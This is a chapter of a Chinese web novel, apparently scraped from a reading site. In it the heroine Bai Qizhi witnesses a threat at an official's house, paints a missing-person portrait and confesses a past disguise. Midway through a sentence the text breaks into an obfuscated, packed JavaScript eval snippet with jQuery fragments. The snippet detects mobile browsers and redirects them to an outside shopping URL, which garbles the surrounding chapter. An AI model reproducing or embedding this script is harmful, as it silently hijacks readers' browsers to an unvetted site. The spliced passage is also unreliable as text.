默认冷灰
24号文字
方正启体

263. 惊局

作者:朝朝颂安本书字数:K更新时间:
    未等白栖枝看清,一个如幽冥鬼怪的人影就飘到她面前。


    定神,竟是此前上门送礼的那个管家。


    管家还在皮笑肉不笑地盯着她,左手微扬,朝她“请”了个方向:“这边,请。”


    白栖枝毛骨悚然。


    人皮是会骗人的,但骨头不会。


    那颗头,是荆良平身边的那个茶侍——


    阿素!


    白栖枝不知道是如何回的白府。


    她感觉自己整个人的魂都是飘着的。她像是在陡然间生出无数个魂魄,无数个魂魄都在拉扯她。


    这边这个魂魄在哭喊:“怎么办啊怎么办啊要被杀了要被杀了要被杀了要被杀了……”


    那边那个魂魄在哭喊:“都说了不要生事,这次是她,下次该死的就是你!”


    这个说:“要不要把这件事告诉荆公子?那是他的人,他应该知晓的。”


    那个说:“告诉他有什么用?难道你还指着他帮你不成?要知道,这世上男人身边最不缺的就是女人,更不缺的,是下人……”


    好吵啊,好吵啊,好吵啊……


    不过是一颗头而已,自己见过那么多,又在怕什么?


    ——他会对我动手吗?


    ——要死了要死了要死了!


    ——不想死不想死不想死……


    谵妄。


    白栖枝觉得自己一定是病了,不然脑子里又怎么会蹦出这么多自相矛盾的想法?


    是时候让霍郎中给她好好看看了。


    “大人。”管家卸去笑容,踱步走到荆斡面前,“刚才那林白氏看到了不该看的东西,是否要将她……”


    他横手做刀,在咽喉处狠狠划了一下。


    “不必。”荆斡抬手道,“她如今无论如何还借着陛下的势,身上还背着‘义商’的名头,如今杀她,就是在陛下眼皮子下动土。况且就算陛下能装作看不见,那些被白栖枝救过的灾民也不能视而不见,你忘了在淮安,他们是怎么闹的了么?”


    “可大人。”管家答道,“皇恩再怎么浩荡,都有用尽的一天;恩情再如何珍贵,都有被淡忘的一日。这些东西用起来虽顺手,可反噬起来,可是比衿州的那一场春大水还要凶猛数万倍。倘若我们此时让她生些事来,那她岂不就……”


    “不成!”荆斡打断他的后文,“如今大人对她可是十分有兴致,大人留着她,就是想看陛下究竟想做什么。倘若陛下和宫中那位真要护她,那我们就要看看他们到底能护到什么地步。还有,你别忘了——”他声音压得更沙哑,露出几分狠厉,恨不得将白栖枝生吞活剥,“她手里,还握着一个林家呢!”


    白府。


    白栖枝是跟着魂儿飘回府邸的。


    听闻她从荆府回来,荆良平是十分地担心。


    他怕父亲会对白栖枝做任何不利之事!


    幸而白栖枝是整个人好好地回来了,不然他就算以死谢罪也无法对得起林夫人。


    相比于他,沈忘尘就显得平静很多。


    他还在摸着怀中的小木头,听到白栖枝回来就安排春花去备些茶水糕点端到堂前,自己则将小木头稳稳放在腿上,费力地摇着轮椅要往前厅去。


    荆良平这才如梦初醒,走上前去:“啊。我来吧,沈兄。”


    沈忘尘本想说不用,但转念一想,荆良平此刻必然愧疚已极,亟待做点什么来消减心中歉疚。


    他没说什么,只收回手朝后者微微一笑。


    “有劳荆公子了。”


    *


    两人赶到前厅,却得知白栖枝已然去了书房,只好将身一转,直奔书房而去。


    门前,两人相视一眼,荆良平上前扣门。


    “笃笃笃。”


    极尽有礼数的三声,却没唤得屋内人回应。


    荆良平下意识后退一步回眸看向沈忘尘。后者也看了看他,才摇着轮椅上前,曲指欲扣。


    “进。”


    屋内人的声音听不出不悦,两人又相视一眼,这才推开房门朝屋内走去。


    一进屋,一股墨香味扑面而来。


    再走近,就看着白栖枝执笔在纸页上写画着什么。


    饶是这时,她也不会将宽大的袖口提上去,只是用另一只手在下面略略揽着,以保袖口不被墨迹染脏。


    直到两人走到对面,白栖枝连头都没抬,只一心琢磨着手上的东西。


    气氛沉闷。


    荆良平略感尴尬,再次下意识看了看沈忘尘。


    后者启唇。


    “噤声。”白栖枝神情专注,甚至连一个眼神都没有施舍,“就快完成了。”


    几人鲜见她这样严肃,也只好立在一旁静默地等着,直到白栖枝提起最后一笔。


    “成了!”她神情一松,语气兴奋,直接将画作提起吹干墨痕,朝两人一翻,雀跃道,“像不像?”


    多年不做画,她手法都有些生疏了,如今画这一幅小象,自己也不知像也不像,只能叫面前两人帮着参谋一番。


    事实证明白栖枝画的像极了,以至于两人打眼一看就认出那画中人是小福蝶。


    画上人不仅形似更是神似,以至于光是看着这一张小象就能知晓这人平日里是个什么神态脾性,仿佛下一秒就要从纸上活过来蹦到观赏者面前一样。


    如此出神入化的技艺,放眼长平所有丹青圣手,也不得比之一二!


    荆良平从未见过如此巧夺天工的画技,一时间不由得看得呆了。


    还是一旁的沈忘尘问了正事:“枝枝是想去张贴告示寻人?”


    两人相处几年,几乎天天见面,若是连一丁点默契都没有,那才是见鬼。


    沈忘尘猜,既然荆府派人送礼来“请”荆良平回去,白栖枝就绝不会吃他们这招。


    按小姑娘的脾性,方才出门定是带人前去还礼,再一口咬定荆良平从未入过白府以撇清自身关系,再顺势引于荆大人面前告知小福蝶失踪一事。


    如此一来,招式就顺势打回荆斡身上。


    只是……她难道就不怕招人记恨么?


    沈忘尘猜得不错。


    白栖枝放下画作,墨澈双眼里温柔的笑意愈发浓重:“正是。他荆府能派人来‘请’,我白府自然也能大张旗鼓地‘寻人’。小福蝶是我府上的人,莫名其妙丢了,我着急寻找,天经地义。这事说大不大,说小不小,全看对面怎么接招。”


    “我把寻人告示


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16672134|157766||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    贴得满城都是,就是要让所有人都知道,我白府也丢了人,正焦头烂额。如此一来,荆大人若再想凭空污蔑我藏匿荆公子,甚至借此生事,旁人会怎么想?不言而喻。”


    荆良平听着,心中又是感激又是羞愧,猛地起身,深深一揖,几乎要将额头触到地面:“林夫人!”


    他的声音因激动而微微发颤:“夫人之恩,在下没齿难忘!只是此事皆因我而起,累及夫人与府上,更害得福蝶姑娘……我、我实在无颜再留在此地,给夫人增添祸患!我这就回府,向父亲禀明一切,劝他收手!所有罪责,我一力承担!”


    他说着就要往外走,神色决然。


    白栖枝陡然一懵:不是?他们这些大家公子做人都这么性情的吗?他要是此时回府,岂不是做实了她藏人的事实?那她之前做的种种撇清,冒着风险去府上退礼、周旋,岂不是全都白费了?此事荆大人你正愁找不到由头发作,不是自投罗网,更是把刀亲手递到他手里来砍她吗?!


    “荆公子请留步。”白栖枝赶紧唤住他,快步上前拦住他,眉头微蹙,斟酌着用词,温声道,“你现在回去,令尊若问起这两日在何处,你该如何说呢?我们先前那般撇清,岂不是前功尽弃?你是一片好心,我明白的。可你此刻回去,非但于事无补,恐怕反而更让令尊觉得是我在背后怂恿,倒像是我们联手欺瞒他一般。那样,处境只怕更为难了。”


    沈忘尘也适时开口,声音平和:“荆兄,枝枝考虑得周全。此刻回去,确实时机不妥。令尊心意已决,恐非言语能轻易打动。还需从长计议。”


    荆良平被两人拦住,脚步僵在原地,脸上血色尽失,眸底满是痛苦纠结:““可我我怎能安心坐视,让你们为我承受这些?如今林夫人您未曾责怪在下,在下就已是愧疚难当。倘若在下再因此事连累你们,在下于心何安……”


    白栖枝看着他这副模样,知道不彻底打消他的念头,他迟早会做出傻事。


    她叹了口气,语气放缓了些,带着一种奇异的安抚力量:“荆公子,你若真觉得愧疚,想补偿我,眼下就好好待在府里,别再添乱,就是帮我最大的忙了。”


    她顿了顿,似乎在斟酌措辞,忽而又像是想起了什么,随即抬眸:“而且,说起来,其实我也欠你一份人情。有件事,我一直未曾告诉你。”


    荆良平疑惑地看向她。


    白栖枝浅浅一笑,带着几分歉意:“当年在淮安,那个坏了你与宋家姻缘,表弟‘白胜宁’其实……是我。”


    “什么?”荆良平愕然,几乎不敢相信自己的耳朵。


    白栖枝摸了摸鼻子,有些不好意思:“当时妾身正被淮安赵家所针对,不好再用女儿身的身份处理诸多事宜,便乔装打扮,扮作男装,谎称是自己的远房表弟。但其实,妾身在这世上早已没有亲人,又哪来的表弟?”


    她顿了顿,继续道:“恰巧当时在下因一些缘故,在身为‘白胜宁’时与怀真阿姊走得极近,又听闻有关于荆公子身上的一些流言,这才,去……搅扰了你您婚事。若论心下难安,也该是我对不住您在先。还请荆公子不要怪罪。”


    说完,白栖枝也躬身做了个深深的揖礼,以还她给荆良平的这场迟来的道歉。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)